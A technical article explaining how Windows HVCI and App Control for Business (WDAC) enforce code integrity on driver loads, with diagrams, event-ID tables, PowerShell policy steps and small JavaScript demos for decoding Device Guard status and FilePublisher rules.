The hypervisor-enforced privilege separation that Microsoft introduced with Virtualization-Based Security in Windows 10. VTL0 hosts the normal NT kernel and userland; VTL1 hosts the Secure Kernel and a tiny set of &quot;trustlets&quot; -- LSAISO for Credential Guard, the per-VTL CI engine `SkCi.dll`, the virtual TPM. A SYSTEM-level attacker in VTL0 cannot read or write VTL1 memory; the hypervisor enforces the separation through SLAT permissions. Alex Ionescu&apos;s Battle of SKM and IUM [@github-com-20alex20ionescu20-20201520blackhat2015] is the canonical 2015 primary on the architecture.

Microsoft Learn [@ms-memory-integrity] documents the feature under three names that all refer to the same code path: *memory integrity* (the consumer-facing label in Windows Security), *hypervisor-protected code integrity* (the technical name), and *hypervisor enforced code integrity* (the alternate technical name). The page reads, verbatim: &quot;Memory integrity is sometimes referred to as hypervisor-protected code integrity (HVCI) or hypervisor enforced code integrity, and was originally released as part of Device Guard.&quot;

A page is either writable or executable, but never both. HVCI enforces W$\oplus$X for kernel pages by holding the page write-permission and execute-permission bits in SLAT entries that VTL0 cannot edit [@ms-kdp-blog]. VTL1&apos;s `SkCi.dll` decides whether a page is executable; the hypervisor decides whether VTL0 can ever ask the question. The invariant exists to deny one specific class of attack -- writing a new payload into a kernel page and then executing it -- but it does not stop attacks that compose only of *existing* executable bytes (return-oriented and jump-oriented programming).
&lt;p&gt;The next four versions of Windows 10 added one capability each. Windows 10 1607 (August 2016) [@wikipedia-w10-history] renamed the feature to HVCI, severed the marketing tie to Device Guard, and added a Windows Security app toggle. Windows 10 1803 (April 2018) [@ms-memory-integrity] added Mode-Based Execution Control reporting on Intel Kabylake-and-later silicon; AMD&apos;s Zen 2 added the equivalent Guest Mode Execute Trap. Older silicon falls back to Restricted User Mode emulation, which the same Microsoft Learn page warns &quot;will have a bigger impact on performance.&quot;&lt;/p&gt;
&lt;p&gt;Windows 10 2004 (May 2020) added Kernel Data Protection (KDP) [@ms-kdp-blog], the second floor of the W$\oplus$X discipline -- once code is unforgeable, attackers shift to data corruption, so KDP makes selected kernel data ranges unforgeable too. Windows 11 22H2 (September 2022) made HVCI on by default for most new Windows 11 devices [@ms-driver-blocklist], and shipped the Vulnerable Driver Block List on by default alongside it.&lt;/p&gt;

Microsoft Learn&apos;s three-name reconciliation is the verbatim quote in the §4b *HVCI / Memory Integrity* Definition above. Three names; one code path; one `SkCi.dll`; one architectural inversion of Blue Pill. We use *HVCI (Memory Integrity in Windows Security)* as the canonical first-mention form and *HVCI* for prose density throughout; a 2017 Microsoft Mechanics video called it *Device Guard*.

flowchart TB
    VTL0[&quot;VTL0 -- NT kernel + CI.dll&lt;br /&gt;&apos;asks&apos; for execute permission&quot;]
    HV[&quot;Hypervisor -- hvix64.exe / hvax64.exe&lt;br /&gt;holds SLAT page tables&quot;]
    VTL1[&quot;VTL1 -- Secure Kernel + SkCi.dll&lt;br /&gt;validates Authenticode + Block List&quot;]
    Page[&quot;Driver image page&lt;br /&gt;state: Writable -&amp;gt; ReadOnly+Execute&quot;]
    VTL0 -- &quot;Secure call: validate image&quot; --&amp;gt; VTL1
    VTL1 -- &quot;If signed and not blocked&quot; --&amp;gt; HV
    HV -- &quot;Flip SLAT entry W-&amp;gt;X&quot; --&amp;gt; Page
    Page -- &quot;Future write from VTL0&quot; --&amp;gt; HV
    HV -- &quot;Page-fault, no transition&quot; --&amp;gt; VTL0
&lt;p&gt;By 2022 the two rails had converged at the operational level. The Driver Block List shipped as a standalone WDAC policy that HVCI&apos;s &lt;code&gt;SkCi.dll&lt;/code&gt; enforced in VTL1 on every kernel-mode driver load. Now we can finally answer the question that opened this article: which Windows component refused the BYOVD load? The honest answer is &lt;em&gt;both rails working together at the page-fault&lt;/em&gt;. That sequence is the next section.&lt;/p&gt;
&lt;h2&gt;5. The Breakthrough: The Runtime Enforcement Loop, End-to-End&lt;/h2&gt;
&lt;p&gt;Open &lt;code&gt;Process Monitor&lt;/code&gt;, watch a kernel driver load, and the human-readable output is &lt;code&gt;IRP_MJ_CREATE&lt;/code&gt; returns success. Open &lt;code&gt;WinDbg&lt;/code&gt; against a kernel-mode debugger session, set a breakpoint on &lt;code&gt;SeCodeIntegrityVerifySection&lt;/code&gt;, watch the same load, and roughly forty distinct trust decisions happen between &lt;code&gt;NtCreateSection&lt;/code&gt; and the moment the driver&apos;s &lt;code&gt;DriverEntry&lt;/code&gt; is allowed to execute. The forty-decision shape is folk knowledge from the kernel-debugger community; the architecture that produces it is documented. Here is the seven-step walk that wraps it.&lt;/p&gt;
&lt;p&gt;The first step is &lt;code&gt;NtCreateSection&lt;/code&gt;. The kernel parses the PE image, locates the Authenticode signature in the directory entry of the optional header, and resolves the signature&apos;s PKCS#7 envelope. Step two: &lt;code&gt;SeCodeIntegrityVerifySection&lt;/code&gt; calls into &lt;code&gt;CI.dll&lt;/code&gt; [@ms-acfb-overview] under &lt;code&gt;\Windows\System32\&lt;/code&gt;. &lt;code&gt;CI.dll&lt;/code&gt; builds a SignerHash structure for the PE -- the bound publisher identity, the leaf certificate hash, the cryptographic page-hash table -- and then opens the policy state under &lt;code&gt;C:\Windows\System32\CodeIntegrity\CIPolicies\Active\&lt;/code&gt;.The exact function names here -- &lt;code&gt;SeCodeIntegrityVerifySection&lt;/code&gt;, &lt;code&gt;CipMincryptValidateImageHeader&lt;/code&gt; -- are kernel-debugger artefacts; the Microsoft Learn page on memory integrity [@ms-memory-integrity] confirms only the higher-level &quot;kernel mode code integrity process&quot; terminology. We name the functions because the debugger view is the only way to see the loop in motion; treat them as kernel-debugger paraphrase, not as Microsoft Learn quotes.&lt;/p&gt;
&lt;p&gt;Step three is the policy state machine. The walk has a fixed precedence. Explicit deny rules win first -- this is where the Driver Block List entry for &lt;code&gt;dbutil_2_3.sys&lt;/code&gt; [@ms-driver-blocklist] terminates the load. Explicit allow rules are next, then signer-level rules, then Intelligent Security Graph cloud verdicts (when rule option 14 is enabled) [@ms-isg], and finally the Mark-of-the-Web disposition for the file. For a kernel-mode driver, step four forwards the verdict into VTL1 via a &lt;em&gt;secure call&lt;/em&gt; -- the hypervisor-mediated cross-VTL invocation primitive that Microsoft introduced for VBS [@paragmali-com-the-en].&lt;/p&gt;
&lt;p&gt;In step five, &lt;code&gt;SkCi.dll&lt;/code&gt; [@github-com-20alex20ionescu20-20201520blackhat2015] inside VTL1 revalidates the Authenticode signature against its own trusted-root set, consults the per-VTL SLAT page-table state for the proposed image pages, checks the policy&apos;s &lt;code&gt;HvciOptions&lt;/code&gt; element, and only then permits the hypervisor to flip the relevant SLAT entries from W to X.&lt;/p&gt;
&lt;p&gt;Step six returns control to the loader; the driver&apos;s image is now executable in VTL0 and its pages are read-only from VTL0&apos;s perspective for the lifetime of the load. Step seven is the safety net: any later attempt to write to those pages from VTL0 -- a kernel exploit, a malicious driver, an attacker with a kernel debugger attached -- page-faults at the SLAT layer, intercepted by the hypervisor [@ms-hyperv-bounty] (&lt;code&gt;hvix64.exe&lt;/code&gt; on Intel, &lt;code&gt;hvax64.exe&lt;/code&gt; on AMD), not by the kernel that the attacker may already control.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; Code integrity at every layer is not a slogan. It is a page-fault sequence that runs dozens of times during one driver load. Step five is the architectural inversion: VTL1 holds the validation key, VTL0 cannot reach VTL1, and the hypervisor enforces the separation in silicon-mediated SLAT entries.&lt;/p&gt;
&lt;/blockquote&gt;

sequenceDiagram
    participant L as NT Loader
    participant CI as CI.dll (VTL0)
    participant Pol as Active policy state
    participant Hv as Hypervisor (hvix64.exe)
    participant Sk as SkCi.dll (VTL1)
    participant SLAT as SLAT page tables
    L-&amp;gt;&amp;gt;CI: NtCreateSection(image)
    CI-&amp;gt;&amp;gt;CI: Parse Authenticode + page-hash table
    CI-&amp;gt;&amp;gt;Pol: Lookup C:\Windows\System32\CodeIntegrity\CIPolicies\Active\
    Pol--&amp;gt;&amp;gt;CI: Verdict (deny / allow / signer / ISG)
    CI-&amp;gt;&amp;gt;Hv: Secure call: revalidate this kernel image
    Hv-&amp;gt;&amp;gt;Sk: Forward to VTL1
    Sk-&amp;gt;&amp;gt;Sk: Re-check signature + Block List
    Sk--&amp;gt;&amp;gt;Hv: PASS or FAIL
    Hv-&amp;gt;&amp;gt;SLAT: If PASS, flip page state W -&amp;gt; X (read-only execute)
    SLAT--&amp;gt;&amp;gt;L: DriverEntry executes in VTL0
    Note over SLAT,Hv: Future VTL0 write to these pages -&amp;gt; SLAT page-fault
&lt;p&gt;The seven-step walk maps cleanly onto a small reference table that any administrator should have on a sticky note. The event IDs in the right column are the &lt;code&gt;Microsoft-Windows-CodeIntegrity/Operational&lt;/code&gt; channel [@ms-driver-blocklist] entries that show up in Event Viewer under each verdict.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Step&lt;/th&gt;
&lt;th&gt;Component&lt;/th&gt;
&lt;th&gt;File path&lt;/th&gt;
&lt;th&gt;Event on failure&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;NT loader&lt;/td&gt;
&lt;td&gt;&lt;code&gt;\Windows\System32\ntoskrnl.exe&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;(kernel STATUS code)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;CI engine&lt;/td&gt;
&lt;td&gt;&lt;code&gt;\Windows\System32\CI.dll&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;3023 (audit) / 3024 (enforce)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Policy state&lt;/td&gt;
&lt;td&gt;&lt;code&gt;\Windows\System32\CodeIntegrity\CIPolicies\Active\*.cip&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;3076 (UMCI) / 3077 (UMCI enforce)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;Secure call&lt;/td&gt;
&lt;td&gt;&lt;code&gt;\Windows\System32\securekernel.exe&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;(cross-VTL trace)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;Secure CI&lt;/td&gt;
&lt;td&gt;VTL1-resident &lt;code&gt;SkCi.dll&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;3033 (driver block) / 3034 (driver audit)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;Hypervisor SLAT flip&lt;/td&gt;
&lt;td&gt;&lt;code&gt;\Windows\System32\hvix64.exe&lt;/code&gt; / &lt;code&gt;hvax64.exe&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;(hypervisor trace)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;Page-fault safety net&lt;/td&gt;
&lt;td&gt;Hypervisor&lt;/td&gt;
&lt;td&gt;SLAT violation crash&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;

The hardware feature -- Intel Extended Page Tables, AMD Rapid Virtualization Indexing -- that the hypervisor uses to translate guest physical addresses to host physical addresses one level deeper than the OS&apos;s own page tables. Because SLAT entries are *under* the OS&apos;s view, a kernel attacker in VTL0 can change the OS&apos;s page tables but cannot reach the SLAT entries the hypervisor maintains. HVCI uses SLAT permission bits to hold the W$\oplus$X invariant for kernel pages; KDP uses them to hold read-only memory for kernel data sections.

The Event Viewer channel under `Microsoft-Windows-CodeIntegrity/Operational` that records every WDAC + HVCI verdict. Six event IDs carry the operational load: 3023 (kernel-mode audit), 3024 (kernel-mode enforced block), 3033 (driver block by Block List), 3034 (driver audit), 3076 (user-mode audit), and 3077 (user-mode enforced block) [@ms-event-id-explanations]. All six are JSON-shaped after Windows 11 22H2 and parse cleanly into Defender for Endpoint advanced hunting.The cited Microsoft Learn page enumerates 3033, 3034, 3076, and 3077 verbatim, and adjacent IDs 3004 (kernel driver invalid signature), 3089 (signature info correlation), and 3095-3105 (policy activation/refresh). 3023 and 3024 are kernel-debugger-observable IDs in the same `Microsoft-Windows-CodeIntegrity/Operational` channel and surface in `Get-WinEvent` queries against that channel; treat the 3023/3024 row as kernel-debugger paraphrase rather than as Microsoft Learn enumeration.
&lt;p&gt;The third visual for this section is the Win32_DeviceGuard decoder a 2026 administrator runs to confirm the loop is actually live on a representative endpoint. The WMI surface decodes a small set of magic numbers that map to silicon and hypervisor capabilities.&lt;/p&gt;
&lt;p&gt;{`
// Demonstrates the logic of:
//   Get-CimInstance -ClassName Win32_DeviceGuard
//     -Namespace root\Microsoft\Windows\DeviceGuard
//
// AvailableSecurityProperties returns an array of small integers.
// Decode them against the Microsoft Learn-documented mapping.
const SECURITY_PROPS = {
  1: &apos;Hypervisor support (VBS-capable CPU)&apos;,
  2: &apos;Secure Boot is available&apos;,
  3: &apos;DMA protection is available&apos;,
  4: &apos;Secure Memory Overwrite is available&apos;,
  5: &apos;NX protections are available&apos;,
  6: &apos;SMM mitigations are available&apos;,
  7: &apos;MBEC/GMET is available (Intel Kabylake+ / AMD Zen 2+)&apos;,
  8: &apos;APIC virtualization is available&apos;,
};&lt;/p&gt;
&lt;p&gt;// Pretend we just received this from a remote endpoint:
const sample = {
  AvailableSecurityProperties: [1, 2, 3, 5, 7],
  VirtualizationBasedSecurityStatus: 2, // 2 = running
  SecurityServicesRunning: [2],         // 2 = HVCI active
};&lt;/p&gt;
&lt;p&gt;console.log(&apos;VBS status:&apos;,
  sample.VirtualizationBasedSecurityStatus === 2 ? &apos;RUNNING&apos; : &apos;OFF&apos;);
console.log(&apos;HVCI:&apos;,
  sample.SecurityServicesRunning.includes(2) ? &apos;ACTIVE&apos; : &apos;INACTIVE&apos;);
console.log(&apos;Capabilities:&apos;);
for (const id of sample.AvailableSecurityProperties) {
  console.log(&apos;  -&apos;, SECURITY_PROPS[id] || (&apos;unknown:&apos; + id));
}
`}&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Joanna Rutkowska&apos;s Blue Pill [@en-wikipedia-org-wiki-bluepillsoftware]) argued in 2006 that the hypervisor was the attacker&apos;s substrate to fear. HVCI inverts the argument nine years later: the hypervisor becomes the &lt;em&gt;defender&apos;s&lt;/em&gt; substrate, hosting the trust check below the kernel an attacker may have compromised. A SYSTEM-level kernel attacker cannot reach VTL1; the hypervisor enforces the separation in SLAT entries that VTL0 cannot edit. The same hardware feature that made Rutkowska&apos;s rootkit possible is the hardware feature that makes HVCI&apos;s W$\oplus$X invariant enforceable.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;We now have an answer to the question that opened section one. When &lt;code&gt;dbutil_2_3.sys&lt;/code&gt; loaded against a default Windows 11 24H2 box with HVCI on, step five happened. &lt;code&gt;SkCi.dll&lt;/code&gt; consulted the Vulnerable Driver Block List [@ms-driver-blocklist] inside its own active policy state, matched the file hash against the published deny entry for CVE-2021-21551 [@nvd-cve-2021-21551], refused the SLAT promotion, and the load failed with event 3033. Eight microseconds. The same loop runs on every driver load on every HVCI-enabled Windows 11 device on the planet. Now we have to &lt;em&gt;operate&lt;/em&gt; it.&lt;/p&gt;
&lt;h2&gt;6. State of the Art: Authoring, Signing, Deploying, Monitoring&lt;/h2&gt;
&lt;p&gt;Knowing how the loop works is necessary; running it is the actual job. A 2026 Windows estate that wants the eight-microsecond refusal to fire on its own endpoints needs five operational disciplines, in this order: authoring, audit-mode discovery, signing, deployment, and monitoring.&lt;/p&gt;
&lt;h3&gt;6.1 Authoring&lt;/h3&gt;
&lt;p&gt;Authoring starts from one of the example base policies [@ms-example-policies] Microsoft ships under &lt;code&gt;%OSDrive%\Windows\schemas\CodeIntegrity\ExamplePolicies\&lt;/code&gt;. The directory contains &lt;code&gt;DefaultWindows_Audit.xml&lt;/code&gt; (a sane starting allowlist that runs in audit mode), &lt;code&gt;AllowMicrosoft.xml&lt;/code&gt;, &lt;code&gt;AllowAll.xml&lt;/code&gt;, &lt;code&gt;AllowAll_EnableHVCI.xml&lt;/code&gt;, &lt;code&gt;DenyAllAudit.xml&lt;/code&gt;, and the canonical &lt;code&gt;SmartAppControl.xml&lt;/code&gt; / &lt;code&gt;SignedReputable.xml&lt;/code&gt; [@ms-example-policies] consumer-grade template. There is also &lt;code&gt;RecommendedDriverBlock_Enforced.xml&lt;/code&gt; -- the on-disk form of the Vulnerable Driver Block List -- and the S-mode templates &lt;code&gt;WinSiPolicy.xml&lt;/code&gt; and &lt;code&gt;WinSEPolicy.xml&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The PowerShell call that mints a new base policy is &lt;code&gt;New-CIPolicy -Level FilePublisher -Fallback SignedVersion,FilePublisher,Hash -UserPEs -MultiplePolicyFormat&lt;/code&gt;. The &lt;code&gt;-Level&lt;/code&gt; flag picks one of the eight rule-level identities [@ms-rule-options] -- &lt;code&gt;Hash&lt;/code&gt;, &lt;code&gt;FilePath&lt;/code&gt;, &lt;code&gt;FileName&lt;/code&gt;, &lt;code&gt;FilePublisher&lt;/code&gt;, &lt;code&gt;LeafCertificate&lt;/code&gt;, &lt;code&gt;PcaCertificate&lt;/code&gt;, &lt;code&gt;RootCertificate&lt;/code&gt;, and the WHQL family -- in increasing order of brittleness-to-strictness tradeoff. &lt;code&gt;FilePublisher&lt;/code&gt; is the modern default for most enterprise scenarios because it scopes trust to a publisher tuple plus a product name plus a binary name plus a minimum version, rather than an unbounded &quot;anything from this signer&quot; allowance.&lt;/p&gt;

A WDAC rule option (rule option 13 [@ms-rule-options], first shipped in Windows 10 1703 in April 2017 [@ms-2017-wdac-blog]) that delegates trust to a configured set of installer processes -- typically Configuration Manager or Intune. Files dropped by a Managed Installer inherit a &quot;trusted&quot; attribute and are allowed to run without an explicit allowlist entry. Managed Installer is the canonical answer to &quot;how do you deploy software to a fleet that runs an enforced WDAC policy.&quot;
&lt;h3&gt;6.2 Audit-mode discovery&lt;/h3&gt;
&lt;p&gt;Audit mode is the architectural prerequisite for not bricking your fleet. Microsoft Learn [@ms-rule-options] is unambiguous: &quot;We recommend that you use &lt;code&gt;Enabled:Audit Mode&lt;/code&gt; initially because it allows you to test new App Control policies before you enforce them. With audit mode, applications run normally but App Control logs events whenever a file runs that isn&apos;t allowed by the policy.&quot; &lt;code&gt;Set-RuleOption -Option 3&lt;/code&gt; on the policy XML enables audit mode; &lt;code&gt;Set-RuleOption -Option 3 -Delete&lt;/code&gt; removes it and switches the policy into enforce mode. In between, the SOC harvests &lt;code&gt;Microsoft-Windows-CodeIntegrity/Operational&lt;/code&gt; event 3076 entries with &lt;code&gt;Get-WinEvent&lt;/code&gt;, and &lt;code&gt;New-CIPolicy -Audit&lt;/code&gt; mints a &lt;em&gt;discovery&lt;/em&gt; policy from the observed blocks that you can merge into the base.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Run audit mode against a representative subset of your estate -- not the whole fleet, not just one developer laptop -- and iterate &lt;code&gt;New-CIPolicy -Audit -&amp;gt; merge -&amp;gt; redeploy&lt;/code&gt; until the audit-event volume goes near-zero. &lt;em&gt;Then&lt;/em&gt; delete rule option 3 and switch the same policy to enforce. Most production failures of WDAC rollouts are not policy bugs; they are skipped audit discipline.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;6.3 Signing&lt;/h3&gt;
&lt;p&gt;A signed WDAC policy is an order of magnitude harder to disable than an unsigned one. The signing ceremony has a fixed shape: &lt;code&gt;Add-SignerRule -Update&lt;/code&gt; to add the signer that may replace the policy in future, &lt;code&gt;Set-RuleOption -Option 6 -Delete&lt;/code&gt; to drop &quot;Enabled:Unsigned System Integrity Policy&quot; so the policy refuses to load unless signed, &lt;code&gt;ConvertFrom-CIPolicy&lt;/code&gt; to produce the binary &lt;code&gt;.cip&lt;/code&gt;, and &lt;code&gt;signtool.exe&lt;/code&gt; with an RSA-2048-or-larger certificate to attach the signature. Microsoft Learn documents the signed-policy prerequisites [@ms-rule-options]: Secure Boot [@paragmali-com-to-userini] must be on; ECDSA certificates are explicitly unsupported; and the policy&apos;s &lt;code&gt;VersionEx&lt;/code&gt; must be monotonically increasing across replacements.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; A botched signed-policy update -- a &lt;code&gt;VersionEx&lt;/code&gt; rollback, a wrong signer, a missing &lt;code&gt;UpdatePolicySigner&lt;/code&gt; for the new signer -- can leave a Windows machine unable to boot. The boot-time Code Integrity check refuses the policy, the kernel refuses to start without a valid policy, and the operator is left at a recovery console with no in-band way to fix it. Always validate a policy update on a representative subset &lt;em&gt;before&lt;/em&gt; fleet rollout.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;6.4 Deployment and stacking&lt;/h3&gt;
&lt;p&gt;Multiple-policy WDAC is the deployment model since Windows 10 1903 [@ms-deploy-multi]. Up to thirty-two active policies sit in &lt;code&gt;C:\Windows\System32\CodeIntegrity\CIPolicies\Active\&lt;/code&gt;, or unlimited on devices that have the April 9, 2024 cumulative update [@ms-deploy-multi]. Base-and-supplemental composition (&lt;code&gt;&amp;lt;SupplementalPolicySigner&amp;gt;&lt;/code&gt;) lets a divisional supplemental policy union into a corporate base. The &lt;code&gt;&amp;lt;HvciOptions&amp;gt;&lt;/code&gt; element toggles HVCI from inside the policy XML itself. The published &lt;code&gt;RecommendedDriverBlock_Enforced.xml&lt;/code&gt; [@ms-driver-blocklist] policy is designed to stack alongside an organisation&apos;s allowlist without merging.&lt;/p&gt;
&lt;p&gt;Deployment surfaces today are: the Intune App Control for Business CSP [@ms-acfb-landing], Configuration Manager&apos;s App Control task sequence, and Group Policy. Group Policy supports only the single-policy format on Windows Server 2016 and 2019 -- a structural reason to prefer Intune or ConfigMgr for any fleet that wants modern multi-policy stacking.&lt;/p&gt;

flowchart LR
    A[DefaultWindows_Audit.xml]
    B[Set-RuleOption -Option 3&lt;br /&gt;Deploy in audit mode]
    C[Get-WinEvent CodeIntegrity-Operational&lt;br /&gt;collect event 3076]
    D[New-CIPolicy -Audit&lt;br /&gt;mint supplemental from blocks]
    E[Merge supplemental + base]
    F[Set-RuleOption -Option 3 -Delete]
    G[ConvertFrom-CIPolicy + signtool]
    H[Deploy enforced via Intune / ConfigMgr]
    A --&amp;gt; B --&amp;gt; C --&amp;gt; D --&amp;gt; E --&amp;gt; C
    E --&amp;gt; F --&amp;gt; G --&amp;gt; H
&lt;h3&gt;6.5 Monitoring&lt;/h3&gt;
&lt;p&gt;Monitoring rests on two telemetry sources. The first is the &lt;code&gt;Microsoft-Windows-CodeIntegrity/Operational&lt;/code&gt; channel [@ms-event-id-explanations] on the endpoint, with the six event IDs from section five. The second is Defender for Endpoint advanced hunting [@ms-asr-rules], where the &lt;code&gt;DeviceEvents&lt;/code&gt; table carries &lt;code&gt;AppControlExecutableAudited&lt;/code&gt;, &lt;code&gt;AppControlExecutableBlocked&lt;/code&gt;, and &lt;code&gt;AppControlCodeIntegrityDriverRevoked&lt;/code&gt; rows. The two stitch together: a single 3033 event on the endpoint maps to a single &lt;code&gt;AppControlCodeIntegrityDriverRevoked&lt;/code&gt; row in the SIEM.&lt;/p&gt;
&lt;p&gt;The third leg of the monitoring tripod is the Defender Attack Surface Reduction rule with GUID &lt;code&gt;56a863a9-875e-4185-98a7-b882c64b5ce5&lt;/code&gt; [@ms-vmdrc-blog] -- &lt;em&gt;Block abuse of exploited vulnerable signed drivers&lt;/em&gt;. The ASR rule lives in Defender for Endpoint and fires regardless of whether HVCI is on, which makes it the canonical safety net for endpoints that are HVCI-incapable or that have HVCI temporarily disabled for compatibility.&lt;/p&gt;

A Defender for Endpoint rule shipped as part of the Microsoft 365 Defender suite. ASR rules sit one layer above the kernel CI engine and trigger on behavioural conditions -- a vulnerable signed driver loading, an Office macro spawning a child process, a script host writing an executable. The vulnerable-driver ASR rule pairs with the Driver Block List as the EDR-side telemetry partner: HVCI blocks the load, ASR records the attempt, and the SOC gets a complete narrative even when the loader retried multiple times.
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Event ID&lt;/th&gt;
&lt;th&gt;Phase&lt;/th&gt;
&lt;th&gt;Audience&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;3023&lt;/td&gt;
&lt;td&gt;Audit&lt;/td&gt;
&lt;td&gt;Kernel-mode&lt;/td&gt;
&lt;td&gt;Driver would have been blocked (audit)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3024&lt;/td&gt;
&lt;td&gt;Enforce&lt;/td&gt;
&lt;td&gt;Kernel-mode&lt;/td&gt;
&lt;td&gt;Driver blocked&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3033&lt;/td&gt;
&lt;td&gt;Enforce&lt;/td&gt;
&lt;td&gt;Kernel-mode&lt;/td&gt;
&lt;td&gt;Driver blocked by Block List rule&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3034&lt;/td&gt;
&lt;td&gt;Audit&lt;/td&gt;
&lt;td&gt;Kernel-mode&lt;/td&gt;
&lt;td&gt;Driver allowed but matched audit&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3076&lt;/td&gt;
&lt;td&gt;Audit&lt;/td&gt;
&lt;td&gt;User-mode&lt;/td&gt;
&lt;td&gt;Process would have been blocked&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3077&lt;/td&gt;
&lt;td&gt;Enforce&lt;/td&gt;
&lt;td&gt;User-mode&lt;/td&gt;
&lt;td&gt;Process blocked&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The sixth visual for this section is the FilePublisher rule computer -- a JS demo that walks the publisher tuple a &lt;code&gt;New-CIPolicy -Level FilePublisher&lt;/code&gt; invocation extracts from a PE binary.&lt;/p&gt;
&lt;p&gt;{`
// Demonstrates the logic of:
//   New-CIPolicy -Level FilePublisher -Fallback SignedVersion,FilePublisher,Hash
//
// The FilePublisher level scopes trust to: O= + CN= + ProductName + BinaryName
// + minimum Version. Anything from the same publisher with the same product
// and binary names, at or above the version bar, satisfies the rule.
function filePublisherRule(pe) {
  return {
    O: pe.signer.organization,
    CN: pe.signer.commonName,
    ProductName: pe.versionInfo.productName,
    BinaryName: pe.versionInfo.originalFilename,
    MinimumVersion: pe.versionInfo.fileVersion,
  };
}&lt;/p&gt;
&lt;p&gt;const peSample = {
  signer: { organization: &apos;Microsoft Corporation&apos;, commonName: &apos;Microsoft Windows&apos; },
  versionInfo: {
    productName: &apos;Microsoft Windows Operating System&apos;,
    originalFilename: &apos;powershell.exe&apos;,
    fileVersion: &apos;10.0.26100.1&apos;,
  },
};&lt;/p&gt;
&lt;p&gt;const rule = filePublisherRule(peSample);
console.log(&apos;Generated FilePublisher rule:&apos;);
for (const [k, v] of Object.entries(rule)) console.log(&apos;  &apos; + k + &apos; = &apos; + v);
console.log(&apos;Anything at or above version&apos;, rule.MinimumVersion, &apos;will satisfy this rule.&apos;);
`}&lt;/p&gt;
&lt;p&gt;The consumer cousin of WDAC is Smart App Control [@ms-sac-support], which runs the same &lt;code&gt;CI.dll&lt;/code&gt; against an example policy (&lt;code&gt;SmartAppControl.xml&lt;/code&gt;, also shipped as &lt;code&gt;SignedReputable.xml&lt;/code&gt;). Smart App Control is opt-in at clean-install time on consumer Windows 11 24H2, with cloud reputation as the primary verdict source and Authenticode as the fallback. There is, by design, &quot;no way to bypass Smart App Control protection for individual apps.&quot;&lt;/p&gt;
&lt;p&gt;WDAC + HVCI is now operational on a 2026 Windows estate. But this is not the only design point in the industry, and the design choices Microsoft made -- XML schema, hypervisor-rooted enforcement, per-PE-load evaluation -- become visible only by contrast. Apple, Linux, and Android all answer the same question with different shapes.&lt;/p&gt;
&lt;h2&gt;7. Competing Approaches: Apple, Linux, Android&lt;/h2&gt;
&lt;p&gt;Three other major operating systems answer the question &quot;which code is allowed to run on this device.&quot; None of them answer it the way Windows does. The contrast is what makes the Windows answer visible.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;macOS&lt;/strong&gt; combines Gatekeeper, notarization, System Integrity Protection (SIP, shipped September 16, 2015) [@wikipedia-sip], and the Apple Mobile File Integrity (AMFI) kext. The trust model is single-CA: every executable that wants to run outside the App Store must be signed by an Apple-identified developer and notarized by Apple [@apple-gatekeeper]. There is no XML policy schema for an enterprise to author and sign; the trust list is whatever Apple decides. The closest macOS analogue to HVCI is Kernel Integrity Protection on Apple Silicon [@apple-os-integrity], which together with Fast Permission Restrictions and Pointer Authentication Codes enforces a hardware-rooted kernel-execution invariant -- but the policy is fixed at silicon design time, not configurable by the deploying organisation.&lt;/p&gt;
